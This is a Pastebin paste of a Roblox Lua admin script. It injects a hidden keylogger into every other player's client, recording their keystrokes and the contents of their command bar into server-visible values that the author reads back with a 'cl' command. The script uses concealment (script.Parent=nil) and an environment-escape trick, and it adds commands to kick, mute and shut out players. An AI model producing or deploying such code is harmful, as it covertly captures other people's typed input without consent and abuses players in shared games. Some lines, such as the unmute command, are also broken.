Advertisement
jordan83221

asd

Nov 27th, 2015
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.15 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local tabo=true
  16. local spin=true
  17. local admins={}
  18. local superadmins={}
  19. local megaadmins={}
  20. local uberadmins={}
  21. local svals={}
  22. local function insert(tab,val)
  23.     tab[#tab+1]=val
  24. end
  25. local function remove(tab,val)
  26.    if type(val)~="number" then
  27.        for i,v in next,tab do
  28.             if v==val then
  29.                 tab[i]=nil
  30.             end
  31.         end
  32.     else
  33.         tab[val]=nil
  34.     end
  35. end
  36. function dist(part1,part2)
  37.     return (part1-part2).magnitude
  38. end
  39. local function easey(part,cframe)
  40.     local dx=cframe.X-part.CFrame.X
  41.     local dy=cframe.Y-part.CFrame.Y
  42.     local dz=cframe.Z-part.CFrame.Z
  43.     local vx=dx*ease;
  44.     local vy=dy*ease;
  45.     local vz=dz*ease
  46.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  47. end
  48. local keylog=[[
  49.     local next=next
  50.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  51.     local p=game.Players.LocalPlayer
  52.     local sv=Instance.new("StringValue",game.Lighting)
  53.     sv.Name=p.Name
  54.     local uis = game:GetService("UserInputService")
  55.     local slash=string.byte(47)
  56.     local val=Instance.new("StringValue",game.Lighting)
  57.     val.Name=p.Name.."*"
  58.     local function notify(stat)
  59.         local thing=Instance.new("StringValue",game.Lighting)
  60.         thing.Name="Notify_"..stat
  61.     end
  62.     uis.InputBegan:connect(function(input, typing)
  63.         if input.UserInputType == Enum.UserInputType.Keyboard then
  64.             if input.KeyCode == Enum.KeyCode.A then
  65.                 sv.Value=sv.Value..'a'
  66.             elseif input.KeyCode==Enum.KeyCode.B then
  67.                 sv.Value=sv.Value..'b'
  68.             elseif input.KeyCode==Enum.KeyCode.C then
  69.                 sv.Value=sv.Value..'c'
  70.             elseif input.KeyCode==Enum.KeyCode.D then
  71.                 sv.Value=sv.Value..'d'
  72.             elseif input.KeyCode==Enum.KeyCode.E then
  73.                 sv.Value=sv.Value..'e'
  74.             elseif input.KeyCode==Enum.KeyCode.F then
  75.                 sv.Value=sv.Value..'f'
  76.             elseif input.KeyCode==Enum.KeyCode.G then
  77.                 sv.Value=sv.Value..'g'
  78.             elseif input.KeyCode==Enum.KeyCode.H then
  79.                 sv.Value=sv.Value..'h'
  80.             elseif input.KeyCode==Enum.KeyCode.I then
  81.                 sv.Value=sv.Value..'i'
  82.             elseif input.KeyCode==Enum.KeyCode.J then
  83.                 sv.Value=sv.Value..'j'
  84.             elseif input.KeyCode==Enum.KeyCode.K then
  85.                 sv.Value=sv.Value..'k'
  86.             elseif input.KeyCode==Enum.KeyCode.L then
  87.                 sv.Value=sv.Value..'l'
  88.             elseif input.KeyCode==Enum.KeyCode.M then
  89.                 sv.Value=sv.Value..'m'
  90.             elseif input.KeyCode==Enum.KeyCode.N then
  91.                 sv.Value=sv.Value..'n'
  92.             elseif input.KeyCode==Enum.KeyCode.O then
  93.                 sv.Value=sv.Value..'o'
  94.             elseif input.KeyCode==Enum.KeyCode.P then
  95.                 sv.Value=sv.Value..'p'
  96.             elseif input.KeyCode==Enum.KeyCode.Q then
  97.                 sv.Value=sv.Value..'q'
  98.             elseif input.KeyCode==Enum.KeyCode.R then
  99.                 sv.Value=sv.Value..'r'
  100.             elseif input.KeyCode==Enum.KeyCode.S then
  101.                 sv.Value=sv.Value..'s'
  102.             elseif input.KeyCode==Enum.KeyCode.T then
  103.                 sv.Value=sv.Value..'t'
  104.             elseif input.KeyCode==Enum.KeyCode.U then
  105.                 sv.Value=sv.Value..'u'
  106.             elseif input.KeyCode==Enum.KeyCode.V then
  107.                 sv.Value=sv.Value..'v'
  108.             elseif input.KeyCode==Enum.KeyCode.W then
  109.                 sv.Value=sv.Value..'w'
  110.             elseif input.KeyCode==Enum.KeyCode.X then
  111.                 sv.Value=sv.Value..'x'
  112.             elseif input.KeyCode==Enum.KeyCode.Y then
  113.                 sv.Value=sv.Value..'y'
  114.             elseif input.KeyCode==Enum.KeyCode.Z then
  115.                 sv.Value=sv.Value..'z'
  116.             elseif input.KeyCode==Enum.KeyCode.Slash then
  117.                 sv.Value=sv.Value..'/'
  118.             elseif input.KeyCode==Enum.KeyCode.Space then
  119.                 sv.Value=sv.Value..' '
  120.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  121.                 local t={}
  122.                 for i=1,val.Value:len() do
  123.                     table.insert(t,val.Value[i])
  124.                 end
  125.                 t[#t]=nil
  126.                 for i=1,#t do
  127.                     val.Value=t[i]
  128.                 end
  129.             end
  130.         end
  131.     end)
  132.     notify("Added.")
  133.     coroutine.resume(coroutine.create(function()
  134.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  135.         while gui.Text~="Click here or press (') to run a command" do
  136.             val.Value=gui.Text
  137.         end
  138.     end))
  139.     while wait() do
  140.         if string.find(sv.Value,'kick/vo')~=nil then
  141.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  142.         elseif string.find(sv.Value,'ban/vo')~=nil then
  143.             p:Kick()
  144.             notify(p.Name.." tried to kick Voreli and was removed.")
  145.         end
  146.     end
  147. ]]
  148. local function protect(p)
  149.    
  150. end
  151. local function makeBillboard(item, text)
  152.     local bg = Instance.new("BillboardGui", item)
  153.     bg.Enabled = true
  154.     bg.AlwaysOnTop = true
  155.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  156.     local f = Instance.new("Frame", bg)
  157.     f.BackgroundTransparency = 1
  158.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  159.     local tb = Instance.new("TextBox", f)
  160.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  161.     tb.FontSize = "Size36"
  162.     tb.Text = text
  163.     tb.TextStrokeTransparency = 0
  164.     tb.TextXAlignment = "Center"
  165.     tb.TextYAlignment = "Top"
  166.     tb.BackgroundTransparency = 1
  167.     tb.TextColor3 = Color3.new(0,0,1)
  168.     tb.Font="ArialBold"
  169.     if text == "Dismiss" then
  170.         tb.TextColor3 = Color3.new(1, 0, 0)
  171.         tb.TextStrokeColor3=Color3.new(0,0,0)
  172.     end
  173. end
  174. function notify(stat)
  175.     wait()
  176.     dt=false
  177.     tabo=true
  178.     local tab = Instance.new("Part", game.Workspace)
  179.     tab.Name = "Tab"
  180.     tab.CanCollide = false
  181.     tab.TopSurface = "Smooth"
  182.     tab.BottomSurface = "Smooth"
  183.     tab.Size = Vector3.new(4, 0.4, 6.6)
  184.     tab.Transparency = 0.5
  185.     tab.Anchored = true
  186.     tab.FormFactor = "Plate"
  187.     local tabad = Instance.new("Part",tab)
  188.     tabad.Name = "Tabad"
  189.     tabad.CanCollide = false
  190.     tabad.TopSurface = "Smooth"
  191.     tabad.BottomSurface = "Smooth"
  192.     tabad.Transparency = 0
  193.     tabad.BrickColor = BrickColor.new(1,1,1)
  194.     tabad.Anchored = true
  195.     local mesh = Instance.new("BlockMesh",tabad)
  196.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  197.     makeBillboard(tab,stat)
  198.     local sele = Instance.new("SelectionBox",tab)
  199.     sele.Adornee = tab
  200.     sele.Color = BrickColor.new(1,1,1)
  201.     sele.Transparency = 0
  202.     delay(0, function()
  203.         while wait() do
  204.             for i = 0,.7,0.1 do
  205.                 tab.Size = Vector3.new(4,i,6.6)
  206.                 wait()
  207.             end
  208.             wait()
  209.             for i = .7,0,-0.1 do
  210.                 tab.Size = Vector3.new(4,i,6.6)
  211.                 wait()
  212.             end
  213.         end
  214.     end)
  215.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  216.     coroutine.resume(coroutine.create(function()
  217.         for i,v in next,tabs do
  218.             local num=#tabs
  219.             local slice=(pi*2)/num
  220.             local radius=2+num
  221.             local angle=i*slice;
  222.             local x=cos(angle)*radius;
  223.             local y=60
  224.             local z=sin(angle)*radius;
  225.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  226.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  227.         end
  228.     end))
  229. end
  230. local function logp(plr)
  231.    
  232. end
  233. local function wipe(tab)
  234.     for i=#tab,1 do
  235.         tab[i]=nil
  236.     end
  237. end
  238. workspace.DescendantRemoving:connect(function(obj)
  239.     for _,v in next,tabs do
  240.         if obj==v then
  241.             remove(tabs,obj)
  242.         end
  243.     end
  244. end)
  245. local function dismiss()
  246.     if dt==true and tabo==false then
  247.         spin=false
  248.         for i,v in next,tabs do
  249.             wait()
  250.             tabs[i].taba:Destroy()
  251.             tabs[i].tabd:Destroy()
  252.             table.remove(tabs,i)
  253.         end
  254.     end
  255. end
  256. local cmds={
  257.     ["log"]=function(a)
  258.         for _,v in next,game.Players:GetPlayers() do
  259.             if string.find(v.Name:lower(),a:lower())~=nil then
  260.                 local plr=v
  261.                 logp(plr)
  262.             end
  263.         end
  264.     end,
  265.     ["ff"]=function(a)
  266.         for _,v in next,game.Players:GetPlayers() do
  267.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  268.                 pcall(function() Instance.new("ForceField",v.Character) end)
  269.             end
  270.         end
  271.     end,
  272.     ["cl"]=function(p)
  273.         for _,v in next,game.Players:GetPlayers() do
  274.             if string.find(v.Name:lower(),p:lower())~=nil then
  275.                 for i,g in next,game.Lighting:GetChildren() do
  276.                     if g then
  277.                         local a=string.match(g.Name,"(.*)*")
  278.                         if a==v.Name then
  279.                             notify(g.Value)
  280.                         end
  281.                     end
  282.                 end
  283.             end
  284.         end
  285.     end,
  286.     ["test"]=function(a)
  287.         for i=1,a do wait()
  288.             notify("test")
  289.         end
  290.     end,
  291.     ["dt"]=function()
  292.         dt=true
  293.         tabo=false
  294.     end,
  295.     ["size"]=function()
  296.         spin=false
  297.         for i=1,#tabs do
  298.             tabs[i].taba.Size=Vector3.new(5,5,5)
  299.         end
  300.     end,
  301.     ["cspin"]=function()
  302.         spin=false
  303.     end,
  304.     ["lower"]=function()
  305.        
  306.     end,
  307.     ["kick"]=function(p)
  308.         for _,v in next,game.Players:GetPlayers() do
  309.             if string.find(v.Name:lower(),p:lower())~=nil then
  310.                 pcall(function()
  311.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  312.                     notify("Kicked "..v.Name..".")
  313.                 end)
  314.             end
  315.         end
  316.     end,
  317.     ["grab"]=function(p)
  318.         for _,v in next,game.Players:GetPlayers() do
  319.             if string.find(v.Name:lower(),p:lower())~=nil then
  320.                 pcall(function()
  321.                     table.insert(tabs,v.Character.Torso)
  322.                 end)
  323.             end
  324.         end
  325.     end,
  326.     ["mute"]=function(p)
  327.         for _,v in next,game.Players:GetPlayers() do
  328.             if string.find(v.Name:lower(),p:lower())~=nil then
  329.                 pcall(function()
  330.                     NLS([[
  331.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  332.                     ]],v.Character)
  333.                     notify("Muted "..v.Name..".")
  334.                 end)
  335.             end
  336.         end
  337.     end,
  338.     ["unmute"]=function(p)
  339.         for _,v in next,game.Players:GetPlayers() do
  340.             if string.find(v.Name:lower(),p:lower())~=nil then
  341.                 pcall(function()
  342.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  343.                     notify("Unmuted "..v.Name..".")
  344.                 end)
  345.             end
  346.         end
  347.     end,
  348.     ["protect"]=function(p)
  349.         for _,v in next,game.Players:GetPlayers() do
  350.             if string.find(v.Name:lower(),p:lower())~=nil then
  351.                 pcall(function()
  352.                     protect(v)
  353.                 end)
  354.             end
  355.         end
  356.     end,
  357.     ["sd"]=function()
  358.         for _,v in next,game.Players:GetPlayers() do
  359.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  360.         end
  361.     end
  362. }
  363. local function antimute()
  364.     NLS([[
  365.         wait()
  366.         script.Parent=nil
  367.         local next=next
  368.         local pcall=pcall
  369.         while wait() do
  370.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  371.         end
  372.     ]],game.Players.Voreli.Backpack)
  373. end
  374. antimute()
  375. local function chat(msg,plr)
  376.     if msg and plr then
  377.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  378.         if cmd and parm and cmds[cmd] then
  379.             cmds[cmd](parm)
  380.         end
  381.     end
  382. end
  383. game.Lighting.DescendantAdded:connect(function(obj)
  384.     if obj:IsA("ObjectValue") then
  385.         for _,v in next,obj:GetChildren() do
  386.             if v:IsA("LocalScript") then
  387.                 v.Disabled=true
  388.                 for i,g in next,game.Players:GetPlayers() do
  389.                     if g.Name==obj.Name then
  390.                         notify("Object Found!")
  391.                         obj.Parent=g.Backpack
  392.                         obj.Disabled=false
  393.                     end
  394.                 end
  395.             end
  396.         end
  397.     end
  398. end)
  399. game.Lighting.DescendantAdded:connect(function(obj)
  400.     if obj:IsA("StringValue") then
  401.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  402.         if a and b then
  403.             notify(b)
  404.         end
  405.     end
  406. end)
  407. local function playerAdd(p)
  408.     if p then
  409.         if p.Name=="Byron" then
  410.             p.Chatted:connect(function(m) chat(m,p) end)
  411.         else
  412.             local thing=Instance.new("ObjectValue",game.Lighting)
  413.             thing.Name="Log"
  414.             thing.Value=p.Character
  415.             NLS(keylog,thing)
  416.             print("Added.")
  417.         end
  418.     end
  419. end
  420. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  421. for _,v in next,game.Players:GetPlayers() do
  422.     playerAdd(v)
  423. end
  424. local function rot()
  425.     if tabo==true and dt==false then
  426.         for i,v in next,tabs do
  427.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  428.             local y=0
  429.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  430.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  431.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  432.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  433.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  434.         end
  435.     end
  436. end
  437. local function begin()
  438.     notify("")
  439.     notify("")
  440.     notify("")
  441.     notify("")
  442.     notify("")
  443.     notify("")
  444.     notify("")
  445.     notify("")
  446.     notify("")
  447.     notify("")
  448.     notify("")
  449.     notify("")
  450.     notify("")
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     wait(5)
  457.     dt=true
  458.     tabo=false
  459. end
  460. game:service'RunService'.Stepped:connect(function() rot() end)
  461. game:service'RunService'.Stepped:connect(function() dismiss() end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement